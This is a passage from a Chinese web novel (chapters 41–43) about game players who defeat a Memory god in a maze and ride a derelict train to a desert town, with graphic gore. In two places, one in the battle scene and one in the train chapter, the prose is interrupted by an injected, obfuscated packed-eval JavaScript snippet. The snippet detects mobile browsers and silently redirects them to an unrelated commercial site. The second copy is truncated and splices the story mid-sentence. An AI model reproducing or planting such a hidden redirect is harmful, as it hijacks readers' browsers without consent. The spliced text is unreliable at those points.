戴着黑色手套的手掌拎住狐蛇上身亮橙色的皮夹克后领,防止对方沉重的身躯下坠。 忒尼斯的狐狸脑袋昏过去,另外八个蝰蛇脑袋却没有,它们纷纷用敢怒不敢言的眼睛瞪着段心慈,二号尤甚。 “……” 目光落在力图绞杀自己的二号上,段心慈甚至有一瞬间怀疑忒尼斯是不是真的和她的蝰蛇是两种生物。 不过不可能。 以忒尼斯的性格,蝰蛇不受主脑支配的瞬间就是脑袋落地的时候。 看着被段心慈拎在手里的狐蛇,至少目前没有谁想杀死忒尼斯了。 想从TOP手里抢走猎物前,也得仔细掂量掂量自己的实力。 “只要沿着高墙被白蚁侵蚀减少的地方走,就能抵达出口吧?” 【匿名】顺势岔开话题:“希望不会太远。” 【死者】惊讶于【匿名】乐观的心态:“你为什么会这么想?” 【匿名】:“为什么不这么想?” ‘有的想总比没的想来得好。’ 嘉里亚·涅挪重点在于【匿名】的思考历程,但【匿名】只在乎自身是否想与不想。 至于是对是错,结果如何,【匿名】根本不在乎。 41.既定无解的回忆 抛开提议的玩家来看,这份提议本身确实具有相当大的可行性。 于是他们沿着前方的残垣断壁又行进了一阵。 沿路两侧是被白蚁啃噬的蛀空墙体,仿佛永远没有尽头。 一时间,除了脚步声再没有别的动静,就连猎犬也消失。 越是向前白墙越是完整,在走过不知多少蜿蜒曲折的迷墙后,他们终于抵达迷宫的终点。 两堵望不到尽头,几近无损的白墙通天屹立,中间是一条宽敞的通道。 极为符合认知中,对出口的定义。 “十号,你确定我们没走错?”【屠夫】质疑道。 【匿名】用那张寡淡如白水空气的脸转向【屠夫】。 穆格罗身体后退一步,这种好似被完全看穿的感觉并不好受。 没有辩驳,【匿名】只是轻飘飘地扫了他一眼:“我不确定。” 【屠夫】:“……” ‘……行吧。’ 被玄发青年拎着衣领在地上拖行的厄洛诺斯无意识睁开眼睛,两行模糊的血泪顺着眼眶淌下。 不在乎手里的狐蛇情绪如何,段心慈试探性地触及眼前的建筑… 不过是两堵正常到不能再正常的墙体。 ‘……回忆…时间?’ 时间的白蚁被尽数焚烧,时间就不存在了吗? 显然不是。 说句绿赛图斯主神不爱听的大实话—— 时间死了,时间依旧存在。不过是时间之神换了个灵魂做而已。 真理从不因执掌它的神明消亡而有片刻动摇。 而这面由回忆构成的墙,无论被时间侵蚀成何种模样… 都不会消失。 段心慈瞳孔骤缩。 如果她没猜错…… 回忆在每个当下无穷尽增长。现在,身处这无垠尽头的—— 不止他们这些玩家。 ‘哐——!’ 重型金属砸在地面,火星迸溅。 尖锐清脆的巨响刺得人耳膜发痛。空间像变得像张摇摇欲坠的蛛网。 剧烈的震颤里,一把刀锋交错,高度九米有余的白色剪刀从天而降。 刀刃是鸟类羽翼的形状,而上端却没有任何可供抓握的结构。 原本镂空的设计被一对灰白且巨大的蝉虫复眼替代。 刀柄的末端各自系着锁链,锁链一直延伸到墙壁上方,肉眼看不见的尽头。 “我注视你们很久了。”/“我看你们很久了哎!” 两道声音同时响起,分别是沙哑与清悦的音色,却能让听者无端知道它们属于同一个灵魂。 声音没有想给任何人解答的意图,自顾自道:“你们之间……并不信任彼此呢。” “……我想,这样也好。” 两道影子手执锁链,从高空跃下,落在地面交融成女孩的形象。 整齐的发丝被束成扎在脑后,身后两条长长的披风在空中摇曳。周身找不出纯白以外的颜色,就连阴影也无法驻足。 她无视僵硬的气氛自我介绍起来:“我更愿意称呼自己为监狱长。” “当然,怎么称呼我是你们的事。” 【监狱长】语气一转,:“击败我——” “向我证明你们活下去,赢得胜利的力量与决心。” 周围的一切都在这样示威的攻击下减缓,凝固。 段心慈目光微沉。 她已经很久没有碰到能给自己带来这样危机感的灵魂。 时间很强,但祂们彼此憎恨厌倦。 熟悉到甚至失去了作为敌手的新鲜感,只剩想要将对方除之而后快的烦躁。 但……自称是【监狱长】的灵魂…… 她上前一步,直视少女的眼睛:“你是回忆。” 是从前TOP榜的某位也是回忆之神。 还是第二关的BOSS。 “……哼,很聪明嘛!” 回忆之神扬了扬身后的披风,将原本就砸进地面不少的刀锋踩得更深。 “废话少说!如果不能击败我就趁早滚回低级副本里吧!” 没有被言语激怒,玄发青年想重伤状态下,对上回忆自己的胜率究竟是多少? 死亡之灵来的太不是时候。 如果对面的回忆知道她现在的想法恐怕会感慨一句人心不古,毕竟回忆之灵是她耗尽巨大代价才在濒死一刻前绑定。 天降真理之灵的绑定,居然有玩家拒绝。 段心慈拽了拽手套,确保手套不会掉下来。 胜率如何已经不重要了,这一架她不能不打。 她要通关,要杀死时间…… 回忆就注定是避无可避的一环。 “看来你们当中某位已经有所觉悟了!” 回忆之神拔出深深没进地面的剪刀,以迅雷之势向对手砸去。 青年目光微凝,闪身避开—— 剪刀砸在地面让整座迷宫都颤抖。 间隙里她回过头看向剪刀砸过的地方,地面开裂留下深深的沟壑,一眼望不到底。 处于剪刀攻击范围内的玩家纷纷陷入静止。 没有感知到死亡的气息,段心慈转头看向回忆。 “别这么看我呀!” 女孩挑眉,毫无心虚道:“我可没有杀生的想法呢。” 比起简单粗暴地带来死亡,回忆更擅长让灵魂在过去里煎熬,不得解脱。 段心慈从衣兜里抽出一节自身手肘到指尖那么长的钢筋,还是先前从牢房的栅栏门上掰的。 少年轻嗤:“你不会觉得用这个就能杀死我吧?” ‘这届TOP.1怎么回事?’ ‘再如何也不至于连把像样的武器都没有?’ 到现在为止,回忆都认为玄发青年是不屑于拿出货真价实的武器与自己对决。 段心慈噎了噎:“……” ‘…我之前究竟在挑三拣四些什么?’ ‘事已至此,先打再说!’ 见段心慈真的手里握着钢筋就冲上来了,回忆抽了抽嘴角:‘好,有本事。’ ‘惹到我,算你傲气。’ 二者思路可谓是南辕北辙。 钢筋与剪刀相撞,刺目的火星迸射。而那根看似不堪一击的金属棍上,只多出一道划痕。 回忆眼中闪过一丝意外。 ‘难道她也料到了这一点……’ 她抬头,正巧撞见段心慈眼底闪过微妙的,同样出乎预料的情绪。 “?” 回忆冷笑:“……真是好大的惊喜,对吧?” 锁链被紧紧握在神祇手里,剪刀在半空被甩出两个难以近身、密不透风的圆影。 段心慈根本没有想过这根金属条能和两柄刀硬碰硬,是以她在冲上去的时刻已经做好了顺势后撤随机攻击回忆身后的打算。 眼下的情形正如回忆所言实属意外之喜,但对手也发现了她的近身的意图。 没有片刻犹豫,段心慈在回忆陡然变得惊骇的目光里冲向正在高速旋转的剪刀,她一手抓住刀背—— 巨大的重力惯性下她被九米高的剪刀带着重重砸在地上,刀柄圆钝的顶端生生砸穿内部已经是一团肉泥的腹部。 血混着细碎的内脏肉糜流淌一地。 极端疼痛里属于战争的那部分出现,段心慈几乎是立刻反手握住剪刀,将它从自己淌血的腹部拽出。 将剪刀从锁链上粗暴扯下,再次冲向回忆之神。 “你……” 回忆后退半步,根本无法理解眼前发生的一幕:“…我?” ‘怎么会有人可以对自己下这么狠手?’ ‘她的内脏是什么时候碎的!’ ‘况且!我也没打这么残忍吧?!’ 由回忆铸成的剪刀绝不是可以仅凭蛮力可以掰断的。 只要世上有记忆存在,这把剪刀就会坚固如同磐石,绝非力量可以抗衡。 白蚁消亡前,少年一直处于半梦半醒的状态。 时间还刻意蒙蔽了回忆的感知,导致祂对玩家的信息重大缺失。 眼下,回忆之神终于品出了那么一丝不对劲。 不,是很不对劲。 撤销对玩家的柔弱滤镜,祂再次看向段心慈,然后就与那双被战意充斥的眼睛对了个正着。 猩红的胜利之火明灭摇曳在黑色深渊,浅薄的中灰又将红与黑死死禁锢。 回忆之神:……合着不是美瞳啊?!! 被段心慈拿着自己的剪刀从中劈成两半的时候,少年还不忘念起自己事先想好的台词,即: “事情变得有趣起来了!” 右边的回忆大喊。 “我们被分开了啊……” 左边的回忆哀叹。 瞬间,两半残缺的回忆各自显露出自身容貌。 左边的风烛残年,右边的风华正茂。 两道身形从左、右两侧攻向段心慈,段心慈手持半柄剪刀率先迎上右边的回忆。 右边的回忆大笑着将手中剪刀扔给左边的自己,少女纵身一跃,化作白纸飞鸟穿过青年额间。 所有新的、好的、喜悦的回忆在刹那绽开,如百花盛放扰乱心神。 段心慈在片刻晃神里,忆起方才自己点燃白蚁的时刻—— ‘那时我竟是欢喜的吗?也对,它们毕竟是时间的化身……’ ‘还有……’ 被那双清透的棕色眼瞳专注地望着自己的时候… ‘心脏像盛满柔软的泡沫。’ 以及,「自我」的躯壳从手中诞生的那个夜晚…… ‘灵魂极端分裂的绝望里…竟也存在喜悦吗?’ 回忆之神无法对回忆说谎。 ‘……’ 见青年愣神,左边的回忆立于剪刀之上,在悲泣里蜕变为秋蝉,翅膜发出沙哑震耳的半截末日蝉鸣。 刹那间,所有旧的、坏的、悲哀的回忆齐齐涌现,若万刀剐心痛不欲生。 ‘那些祈求死亡的……与无数已死的灵魂。’ 第一次选择开启【觐神宴】的那天…… 亲手带大的孩子在啜泣里质问她,为何执意走向死亡。 脖颈被扼住,却不曾有过半分疼痛与桎梏。 棕发青年温热的泪水砸在她衣襟上,在下坠的过程中变冷。 她站起身,沉默着离开。 此后便是杳无音讯的一年。 ‘…艾里门的泪水我不是没有看见……为什么…那时能做到坐视不理?’ ‘还有什么呢?’ 回忆贴在她耳边轻声询问。 ‘……还有那枯坐的一夜。’ 那个绝望与疯狂掺杂的夜晚。 从她抉择,让那二分之一的灵魂独自承担开始……一切就都是错误。 回忆静静伫立在狼狈的青年两旁。 祂的目标已经达成,于是不再出手。 段心慈生生咽回喉咙间翻涌的腥黏与糜烂的肉块。 ‘与权柄合二为一的神祇……果然很强…’ ‘……可是回忆…我的来路无需缅怀。’ 过去的每一秒都已成定局。 段心慈握紧手中一半剪刀冰冷的刀柄,蓦地起身。 蝉虫密密麻麻的小眼转来转去,注视青年的一举一动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511874|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>‘我要抓住的,从来只有现在。’ 破空的一刀挥出,力道之大几乎带动整座迷宫倾斜、震动。 段心慈手中,半柄剪刀正中右侧回忆之神的头颅,纯白的神血飞溅。 少女敏锐地觉察到青年的视线并未落在自己身上,而是越过肩膀,落在她身后。 左侧的回忆想要回头,却已经为时过晚。 忒尼斯·厄洛诺斯不知何时出现在祂身后。 蝰蛇庞大的躯干将左侧回忆之神的头颅死死缠绕、挤压——最后活活绞碎、炸开。 忒尼斯大半张脸被蓝红双色的血液浸染,发丝上是黏腻湿漉的神血。 舌尖舔过口腔内的獠牙。狐蛇明明在笑,平淡的语气却让人如坠冰窟:“我最讨厌回忆过去了。” 在她仅凭自身意志从回忆里苏醒的时刻,神位降临。 诡计之神,忒尼斯·厄洛诺斯就此诞生。 和真理神祇不同,诡计神位属于私欲真理的附属。 但现在私欲不知道跑哪儿去了,这头厄洛诺斯属于无管辖范畴。 就目前来说,自由度比段心慈要高出不知道多少。 狐蛇心里清楚诡计之神的神位缺点明显:存在上限且上限较低。 而且保不准私欲什么时候出现,摆自己一道。 但诡计嘛,有诡计就有转机。 对此她看得很开。 被母亲称作蓝色畸胎的狐蛇依旧没有彻底与过往诀别,却也不再囚于回忆。 况且成神意味着忒尼斯可以不需要依赖系统商城……随时随地变出深受二号喜爱的爆米花。 二号对此深感满意。 到了这个地步,回忆之神依旧没有完全死亡。 少年抱着彼此的残躯再次合二为一。 年轻靓丽与老态龙钟出现在同一张面孔上,是安详的怪诞。 其余玩家也在这时纷纷睁开眼。 段心慈一言不发,但忒尼斯·厄洛诺斯明显没有玩家首席那么好的脾性。 “下次再装睡——” “我会像拧开汽水瓶盖一样,拧碎你们的头盖骨。” 别以为她没看清【死者】和【生者】明明早就睡醒,结果发现他们在打架顺势又躺回去了。 真正从头睡到尾只有【摇篮】波绪拿。 厄洛诺斯笑容森冷。 要不是她刚才忙着拧烂回忆的脑袋,非得把那些家伙全都丢进幻境里才好。 回忆之神缓缓起身,半是饱满半是萎缩的唇瓣开合:“恭喜。”/“恭喜~” “你们做到了。”/“你们醒来啦!” 在一众玩家防备的目光里,少年摊摊手:“最后的提醒。”/“嗯……最后再给你们一点提示吧!” “背叛的灵魂在你们之中。”/“你们当中有谁背叛了与我的约定,我很不满!” 玩家之间相互对视,眼底均无半点惊诧。 毕竟,代号十里,除了自己之外,不可信才是常态。 “我无意拆穿。”/“尽管担忧去吧!我是不会告诉你们的~” 说完,回忆安详地抱着仅剩的半把剪刀就地躺下等死。 众玩家:“……” 也就在这时,这座迷宫真正的出口终于浮现—— 那是一扇浮雕大门。 秋蝉与纸鸟的纹样在大门上栩栩如生,好像下一刻就要呼之欲出。 终究…… 也只是好像。 段心慈的手搭在门把上,正欲下按。身后回忆的声音突然再次响起—— “请问……”/“哈哈,那个。不好意思。” 回忆双眼紧闭躺在原地,声音有些尴尬:“我不太记得自己的名字……所以……”/“时间过去太久,我早就记不清自己叫什么了!” “你们有谁还记得我的名字吗?” ‘副本BOSS的名字?’ 这是他们能知道的内容吗? 狐蛇知道,但狐蛇不说。 玩家里有谁在踌躇犹豫。 段心慈倒是没有那么多顾忌。 她松开门把,走向回忆之神。 女孩虽然快死了,却感觉自己在提前僵硬:“……你打算做什么?”/“不至于没品到鞭尸吧?!” 长发青年蹲下身,将指腹轻轻搭在回忆的手腕上。对方虚弱的脉搏在皮肉里一下一下,乱糟糟地跳着。 “……凉有烛。” “你的名字。” 代号十,正数第二届TOP榜单TOP.1【执光者】凉有烛。 天之骄子,凉有烛。 英年早逝,凉有烛。 时间里被白蚁啃噬的空白监牢。 凝视着自身日复一日的变化,回忆里永无止境增长的迷宫。 ‘若我能以此身性命拦路,是否平白逝去的灵魂会少一些?再少一些?’ 许多年前,凉有烛这样问自己。 身为回忆,祂清楚时间的权柄。 身为【执光者】,他知晓与时间作对,落败的下场。 无法走出回忆的,更无法走出时间。 【执光者】在过去独自成功地拦下十一次TOP榜的返回。 第四十三次,回忆之神身死。 属于凉有烛的胜利尚未到来。 手中,对方仅剩的脉搏彻底熄灭了。 段心慈无法确定凉有烛,这位昔日的TOP.1究竟有没有听见那三个字。 只是祂希望……凉有烛听见了。 青年站起身,再一次走至门前。 玩家们纷纷让开一条路,等待着进入白门后更加诡谲,也更杀机四伏的剧场。 42.憎恨里绝无宽恕 正如狱警所说,这所监狱建立在一望无际的沙漠之中。 正午的太阳炙烤沙砾,刺眼的光芒折射。无形的风中,沙丘不经意变幻形状。 “所以,接下来是要我们穿越沙漠吗?” 【生者】搓了搓脑袋上有些炸开的头发:“我们不是来过副本的吗?” ‘怎么一直在大世界求生?’ 就在这群玩家无所事事,打算开启沙漠竞速赛时,系统消息终于在群聊中讪讪来迟: 【我要把你们剁成腻子涂墙(10)】 [找到附近废弃的铁轨,并乘坐即将到来的列车抵达名为‘安图兰镇’的终点站。] 【匿名】:废弃铁轨和即将到来的列车之间是什么关系? 【摇篮】:是大大提高列车脱轨概率的关系。 【屠夫】:……听上去不太妙。 【匿名】:我喜欢这个…我要住豪华包房三天三夜! 【匿名】:欢天喜地gif. 【生者】:但我们不会在车上过夜的@【匿名】,那太浪费时间了。 【生者】:现在已经是进世界,第三天中午了。而我们才通关到第三幕,第四幕的前置才刚刚触发…… 嘉里亚·涅挪在屏幕上噼里啪啦地打字,但某位玩家显然对他的劝告无动于衷—— 【匿名】:别让我败兴而归,懂吗?@时间(手动版) 【织觉人】:? 【织觉人】:我们就在这里面对面,用手机聊天是什么癖好? 【地母】:他们在排挤你@【织觉人】 【织觉人】:强者注定要遭到忌惮。 【地母】:。 【织觉人】:说起来,谢挽非呢?还在走保释程序吗? 【主角】:当然不是啊,我在豪华车厢里等你们。 【主角】:草莓蛋糕照片+橙子饮料照片+豪华车厢装潢照片 神情扭曲地把手机放回口袋,【匿名】对其余玩家提议道:“我们快点找到那辆列车吧。时间要来不及了。” 嘉里亚·涅挪:……^^ 【匿名】积极的态度多少算得上是件好事。 毕竟本就不团结的队伍中如果还有玩家执意要在豪华车厢里住上三天三夜…… 难以想象情况会糟糕到什么地步。 在漫长的15分钟后,他们确实如系统所说找到了一段废弃的铁轨,还有几只汁水丰沛、口感酥脆的沙漠蝎子。 【匿名】当即欢天喜地地抓了一把蝎子放进嘴里。 嘉里亚下意识移开目光,不去看对方大快朵颐的模样。 “……这不是车站吧?” 【屠夫】穆格罗皱眉。 波绪拿扫了一眼:“只是轨道。“ “听说过跳下火车的。” 用袖口擦了擦嘴,【匿名】摇头:“跳进火车还是头一遭。” 卡利安·尤菲提议:“问问【主角】吧?也许他会知道下一站是什么。” 【生者】:“好主意,谁去问?” 【我要把你们剁成腻子涂墙(10)】 【虔诚者】:你那边有宣传手册或者列车行程表之类的吗?@【主角】 【主角】:有,你要照片吗? 【主角】:宣传册正面照+宣传册背面照+列车站点分布图 【主角】:不客气。 卡利安还在打字的手一顿,最后回复了一个干巴巴的谢谢。 放大最后一张地图,他指着上面的沙漠地区和最后安图兰镇四个小字:“……好消息,确实是这列车。” “确实是好消息。” 【匿名】死死盯着那张地图:“如果上午10:45不是倒数第二个站点就更好了。” “一定要坐车吗?就不能跑过去?” “或者让【主角】给我们整个包机。” “……跳过这一段前置剧情,可能会影响第四幕。”【摇篮】看不惯【匿名】发疯:“你不想活,我们还想。” 【匿名】阴冷的目光黏在波绪拿脸上:“你很想活?” 他两指分开对准自己的眼珠,又隔空虚虚点了点波绪拿:“骗骗自己就够了。” 忒尼斯至今搞不懂,【匿名】是怎么做到把TOP榜里其余玩家都得罪了个遍的。 偏偏这家伙就像附骨之蛆,杀不死,甩不掉。1 波绪拿薄唇紧抿,被发丝遮挡的眼底是一闪而逝的怨恨。 和十号这个疯子搭话实在是个让她后悔的举动。 远处隆隆驶来的列车暂时解救了【摇篮】。 忒尼斯·厄洛诺斯此时悄声询问段心慈:“你防御多少?” 玩家都有专属的数值面板,段心慈也不例外。 目光落在极速奔驰而来的列车,青年回给厄洛诺斯冷冰冰的三个字:“撞不死。” 狐蛇噎了噎。 “……算了,当我没问。” ‘…没意思的家伙。’ 余光划过自己面板上九千亿向上的攻击数值,以及九百九十九的防御数值…… 段心慈心中庆幸忒尼斯·厄洛诺斯没有继续追问。 她很难解释这件事。 毕竟…抛开防御值只有1的【匿名】—— 就连本该是TOP榜里防御最薄弱的【死者】与【生者】都分别拥有两千万和两千两百万的数值。 好在狐蛇的攻击数值并不高。 半神时期只有六千九百亿,如今身为诡计之神,应该在八千亿上下徘徊。 段心慈没有算错。 如今写有【织觉人】三个大字的数值面板上,攻击数值那一行正是八千九百亿向上,还差一点就能突破九千亿大关。 如果不是她的杀戮意志强行压下忒尼斯·厄洛诺斯一头,很难说如今TOP.1的席位究竟轮到谁坐。 这样想着,列车已经疾驰而来。 就在车窗接近的刹那,长发青年看准时机,纵身跃起—— 屈膝踹碎窗玻璃的下一刻,身形落在车厢内。 段心慈直起身,掸了掸身上的玻璃渣。毫发无伤。 忒尼斯·厄洛诺斯就没这么讲究。 她瞬移出现在车厢顶部,接着像所有末日恐怖电影里会出现的:攀附在列车车顶,不断攻击车厢造成乘客尖叫的怪物那样—— 一拳砸穿顶棚。 通过车顶的大窟窿,忒尼斯·厄洛诺斯稳稳当当地落在青年身边。 “TOP,你好劲^^” 段心慈:……^^ 等做掉时间绿赛图斯,她会抽空去厄洛诺斯家族领地光顾一番。 顺道把这头狐蛇收集的副本影碟全部付之一炬。 “忒、尼、斯!” “你、也、好、劲。” 身后狰狞虬结的树藤还未收起,艾里门·歌德阴鸷地盯着忒尼斯后背:“管不好舌头,我不介意亲手帮你拔掉。” 其余玩家:“……” 他们开始后悔起自己究竟中了什么邪,非得赶这一节车厢。 后面的车厢又不是不能乘坐…… 当然这些玩家里不包括落地秒睡的波绪拿,还有被道具强行扭曲认知的维莉亚·涅挪。 说实话,忒尼斯·厄洛诺斯不太想真正意义上和艾里门·歌德打起来。 她热衷于挑衅段心慈,不仅仅因为段心慈是TOP.1,更是因为没有在触及段心慈底线前,对方相当宽恕。 虽然不知道对方莫名其妙的道德到底是从弄来的,但‘见好就收’这个词显然不在任何一头厄洛诺斯的词典里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512204|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而艾里门·歌德的战力虽然只有七千亿多一点,但她的伴生火焰相较于本人更加难缠。 忒尼斯甚至怀疑如果给【地母】的伴生火焰单独列个数值面板,能一跃跻身TOP.2的宝座。 正这样想着,熟悉的脚步声从身后传来。 现今真正的TOP.2【主角】走到在这节车厢与前一节车厢的连接处。 仰望着5号车厢的露天顶棚,以及碎了一地的窗玻璃…… 谢挽非心情颇好地晃了晃手里的橙汁:“日安,诸位。” ‘诸位力气真大。’ * 列车内部。 来自车厢底部传来的触感证实这确实是一列正在行驶的列车,而不是某个合该被拖去垃圾场销毁的破铜烂铁。 复杂细密的电流声响起,位于车厢顶部的灯管滋滋啦啦地亮起。 原本还有些黑暗的车厢,所有瞬间一览无余。 上锈螺丝固定住那些破旧歪斜的座椅,满是油污的餐桌。餐桌上还有几张皱巴巴的报纸被丢在番茄酱里,看起来像是被人拿来擦过手。 翻倒的薯条被密密麻麻白蛆占领。 段心慈走进另一节车厢。 方才的吵闹中,她还没有来得及观察这座列车内部。 4号车厢里已经脏得看不出原本颜色的拉丝窗帘半遮车窗。 伸手扯开被蛛丝缠绕的窗帘,车厢内的光线却没有因此增多半点。车窗被暗红色的干涸泥浆均匀覆盖,一丝光亮都透不进来。 不远的地方【匿名】一直在崩溃地‘哐哐’撞墙—— 他拽起卡利安·尤菲的衣领子把对方漂亮的脸蛋按在油腻腻的餐桌上大喊:“这和我想的不一样!” 一边说着,他扔下【虔诚者】,向段心慈所在的4号车厢跌跌撞撞地跑去。 途径穆格罗的时候狠狠拧了【屠夫】的后腰一把,但对方的肌肉很紧实,他没拧动。 【匿名】狠狠啐了一口! 【屠夫】正欲发难,但【匿名】接下来的话震惊得他连发难的力气都失去了。 “该死的,你居然勾引我!” 穆格罗:“……???” 好好一个壮汉,此刻脸色已经变得青青白白。 【匿名】终于路过段心慈,他伸出自己的鞋底试图踩脏TOP.1的作战靴—— 很可惜,失败了。 及时闪身的段心慈:“……?” ‘我忍。’ 见长发青年躲开,【匿名】恨恨将兜里的手机砸向一直平静注视着自己的人,转身对她喊道:“现在你满意了吧!” “我恨你!” 忒尼斯几乎以为他下一秒就会喊出‘你这个冷酷无情的人!’,类似这样惊世骇俗的句子来。 玩家首席接住飞向自己的手机,冷静地重新递给【匿名】。 【匿名】一把夺过手机,并不可置信地大叫:“你为什么不肯放过我?!” “……你是不是有什么误解。” 段心慈不理解。 艾里门·歌德正欲对【匿名】出手,就见对方先一步怒气冲冲地朝她走来。 棕发青年手中树藤绞杀的动作一顿:“?” 【匿名】目不斜视地绕过【地母】,一把拽起【虔诚者】走到破窗边,把对方柔软的腹部死死压在锋利的玻璃碎片上。 卡利安·尤菲的腹部瞬间涌出大量鲜血。 【匿名】转过头,将所有玩家都用黏糊糊且充满恶意的眼神凝视了个遍,随后憎恶至极道:“你们都去死吧!” 说完这句话,他义无反顾地从背后勒紧卡利安·尤菲,自破碎的车窗一跃而下—— 列车飞速驶过,再也见不到二者的身影。 车厢里陷入诡异的静默。 43.荒漠传说与赞歌 狐蛇简直是瞠目结舌:‘……【匿名】究竟是什么毛病?’ “…我们是被直接投放进垃圾场了吗?”【屠夫】隐隐崩溃。 不然怎么会遇到…… 【匿名】这样出类拔萃的存在。 艾里门·歌德却以为穆格罗说的是车厢里的环境,顺口接了一句:“没这么干净。” 她是指垃圾场。 “你去过?” 波绪拿顺理成章地将话题引回正轨。 选择性不去提起某些震撼心灵的场景对彼此都好。 艾里门戴着手套抖开报纸,一目十行的同时回话道:“……算是吧。” 毕竟段心慈就住在垃圾场。 TOP榜里很难再找到比她物质上更落魄的。 看见艾里门戴着手套,【屠夫】感叹了一句:“真讲究。” 艾里门记下报纸上所有内容后,将油腻腻的报纸重新扣回酸酸甜甜的番茄酱。 棕发青年脸色阴沉:“请吧。” 【屠夫】在心底抽了自己一个嘴巴子:‘……我真多嘴啊。’ “我还没有看过。” 忒尼斯·厄洛诺斯有些不满。 尽管略感不适,玩家伸向报纸的手却没有半分停顿。 线索这东西别说是粘了番茄酱,就算粘了脑浆也必须得看。 段心慈比其余玩家的动作更快。 带着皮质手套的手没有犹豫直接从番茄酱里捞出报纸,抹去上面的酱汁铺在桌面—— 泡发的字迹隐约可见: 【45岁知名成功企业家缪卡拉宣布退休回乡安图兰】 【王国历2792年07月11日】 【不缗主义为何频频兴起?是时代的浪潮还是人类的进步?】 【三大商业巨擎宣布共同建设偏远地区现代化,主要参与地区有:安图兰镇,伊里镇,十木镇等地……计划于本年夏季中旬开启……静待佳音……】 【科技产品正在毒害下一代,请注意您的孩子是否有以下行为:……】 【炸鸡与薯条等预制快餐的危害可能远不止急性腹泻,出现以下症状八成是中招!】 “……” 将目光再次投向薯条上的蛆群,注意到这些虫子已经死去多时,段心慈不禁哑然。 确认自己已经背下报纸上的内容,她离开附近转而去车厢内别的地方翻找线索。 几个旅行背包,装的都是正常的出游物品。 只能从某些细节看出它们曾价值不菲。 【地母】:“真不讲究。” 【屠夫】:“……” ‘以艾里门·歌德的标准,那位是非得戴两层手套吗?’ 【织觉人】:“……” 忒尼斯·厄洛诺斯默默去系统商店买了一副质量达标里最便宜的手套。 其他玩家纷纷效仿,毕竟能保持干净的时候没人想脏兮兮的。 在所有玩家都看完报纸后,列车广播骤然响起: 【各位旅客】 【本次列车即将抵达终点站——安图兰镇,请在安图兰镇下车的旅客携带好自己的随身行李准备下车。】 【温馨提示:】 【安图兰镇地处王国西部,人烟稀少。】 【请各位旅客…#……滋滋携带好随身物品…务必守护自身安全…滋zZZ——】 广播一共播报了三遍。 伴随最后一个‘务必守护自身安全’落下,在车厢剧烈摇晃中列车彻底停下。 锈迹斑驳的列车门在某种尖锐刺耳的摩擦声中缓慢向两侧移开。 入眼是飞沙走石,漫天尘土。 赤色大地龟裂,抬眼望不到边际的荒芜。环境比监狱附近还要恶劣不少。 一座古老且破败,主要建筑均由赤土砖砌成,依稀能瞧见昔日风光的小镇映入眼帘。 随着最后一个玩家走下车,在一阵巨大刺耳的声响中,车门关闭。 外表坑坑洼洼,锈迹斑驳的列车再次开动,轰隆隆地冒着黑烟驶离此地。 与此同时,所有处在剧场内部的玩家耳边同时响起时间之灵的提示音: 【第四幕-荒漠传说】 【人烟寂寥的荒漠,曾流传有一则关于愿望的传说】 【剧场任务:存活至列车再次抵达并成功登上列车离开,视为演出完成】 【支线任务:角色演绎】 【从沙漠监狱成功越狱的你们吸引了世界前三强企业,顶级投资人的目光!(PS:这份工作并不吃香)】 【至少在这个表面崇尚和平的世界,你人人喊打。】 【你和狱友们在越狱后,分别接到来自这区三家顶级企业天使投资商发来的入职邀请函。今天是你们这些新手员工走马上任的第一天。】 【投资商们,也就是你们的老板约定你和你的同伴在地处王国偏远地区的一个名叫安图兰的小镇见面。】 【你或许并不愚蠢,并很快意识到其中的诸多不妙,但顶级企业的offer在这个时代对你们有着不可抗力。这就是你现在身处小镇城门的原因之一。】 “……什么不抗力?” 【匿名】拖着卡利安·尤菲,边走边破口大骂:“我要杀了这群什么见鬼的天使。” 系统的声音还在继续: 【身为企业员工,你务必在这次出差全程中维护老板。】 【达成老板的任何需求是你的首要义务。】 阴森地呸掉嘴里滚烫的沙子,【匿名】拽着半点动静都没有的【虔诚者】走到其余玩家身边,嘴里骂骂咧咧:“我要辞职!” 一直在旁观的系统:‘……’ ‘所以你跳车是为了什么?就为了虐待卡利安·尤菲吗?’ 从信息量与通关要求来看,第四幕比起前三幕要具体太多。 按理说这会是一件好事,但没有谁会真的这样认为。 代号十只会交代祂能交代最少的,所谓尽最大的能力为难玩家。 这足以说明这次副本的难度骤增让代号十不得不交代这些信息。 副本环境是肉眼可见的恶劣。 刚下车忒尼斯就将亮橙色的漆皮外套半脱堪堪挂在手肘的位置,露出内搭的克莱因蓝半高领工字背心。 变温血统让她对高温多少有些在意。 倒也只是在意而已,并不会因此受伤。 日头毒辣,段心慈下意识抬头向天空望去。 在星际寰宇年,属于本源星的‘烈星’,或称为‘大日’、‘太阳’早已被多数人遗忘,在回忆中成为遥远的传说。 人造恒星取而代之,兢兢业业地围绕人类居所发光发热。 ‘这会是什么?’ ‘太阳?人造恒星?全息投影?’ 毕竟是赛博科技世界。 在这个背景下以缸中脑为题材的各类延伸副本,段心慈通关数量没有一万也有八千,会有这类猜测再正常不过。 按照副本指示,他们这些越狱犯…… 啊不,玩家,要去和雇主汇合。 路过一栋低矮报刊亭的时候,玩家默契地停下脚步,走近报刊亭争分夺秒地翻找起来。 有备无患。 段心慈顺手抽出一张当地地图。 拂去折叠纸面上的沙土,正反看了两眼后随后放在一边,翻阅起报架上的经济报刊。 在她认为与副本有关的页数都被折了一个角。 